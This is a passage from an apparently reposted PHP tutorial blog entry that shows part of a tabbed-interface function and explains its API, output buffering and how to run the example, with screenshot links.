style="font-size:85%;"> foreach( $tabs as $tab )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> {</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $class = "tab";</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> if ( $index == $curindex )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $class ="tab-active";</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <td class="<?php echo($class); ?>"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <a href="<?php echo( $baseuri."?tabindex=".$curindex ); ?>"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php echo( $tab['title'] ); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </a></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $curindex += 1;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </tr></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <tr><td class="tab-content" colspan="<?php echo( count( $tabs ) + 1 ); ?>"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php echo( $tabs[$index ]['text'] ); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </td></tr></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </table></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in;"><br /></p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">I designed the API on this tabs system to make it easy to create tabs in your document. It starts with invoking <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">tabs_header</span></span> in the header section of the document. This will set up the CSS for the tabs. Then, within the body, the call to <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">tabs_start</span></span> sets up the tab system. Each new tab starts with a call to <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">tab</span></span> with the name of the tab. The call to <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">tabs_end</span></span> then ends the construction of the tabs.</p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Internally, the tabs system uses output buffering to hold onto the contents of each tab, and to display whichever tab is selected "on top."</p> <h4 class="western"><a name="phphks-CHP-2-SECT-5.2"></a>Running</h4><br /><p style="margin-top: 0.19in; margin-bottom: 0.19in;">Upload the files to your PHP server and point your browser at index.php. You should see something close to Figure 2. </p><h5 class="western" align="center"><a name="phphks-CHP-2-FIG-8"></a>Figure 2. The first tab</h5> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvQZc__Q0K_WfarzLEm07Qg2hOYF9JKialrVRcW2mRAA7EX5bbW5nGiSXLSikz_XJFeuLzAi00UdHu7eZPQH7see8N_dY33sQM6s6x_ivyB1bQe7rCY-K1s27nxw2CbhN12W5aE8K-aQQ/s1600-h/8.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvQZc__Q0K_WfarzLEm07Qg2hOYF9JKialrVRcW2mRAA7EX5bbW5nGiSXLSikz_XJFeuLzAi00UdHu7eZPQH7see8N_dY33sQM6s6x_ivyB1bQe7rCY-K1s27nxw2CbhN12W5aE8K-aQQ/s320/8.bmp" alt="" id="BLOGGER_PHOTO_ID_5020405653416843554" border="0" /></a></p><p style="margin-top: 0.19in; margin-bottom: 0.19in;"> </p><p style="margin-top: 0.19in; margin-bottom: 0.19in;">Click on the second tab (labeled "Tab two"), and you will see the second tab selected and the contents of the second tab (as shown in Figure 3).</p> <h5 class="western" align="center">Figure 3. The second tab</h5> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQbNOfAPA1v1sUKoRUQrJIa4u-eHE_fD3GZxYzXwuj9dAPyJzPbjdisSDdCPBj1sJeyN4QWHy5nxKUzZdaEF8a2skUwwegFtCcbRbysvLOI9q-NxMOy_qoD1_Paje5HLfeBGsbjYt1PnvU/s1600-h/9.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQbNOfAPA1v1sUKoRUQrJIa4u-eHE_fD3GZxYzXwuj9dAPyJzPbjdisSDdCPBj1sJeyN4QWHy5nxKUzZdaEF8a2skUwwegFtCcbRbysvLOI9q-NxMOy_qoD1_Paje5HLfeBGsbjYt1PnvU/s320/9.bmp" alt="" id="BLOGGER_PHOTO_ID_5020406181697820978" border="0" /></a></p> </span>Unknownnoreply@blogger.com0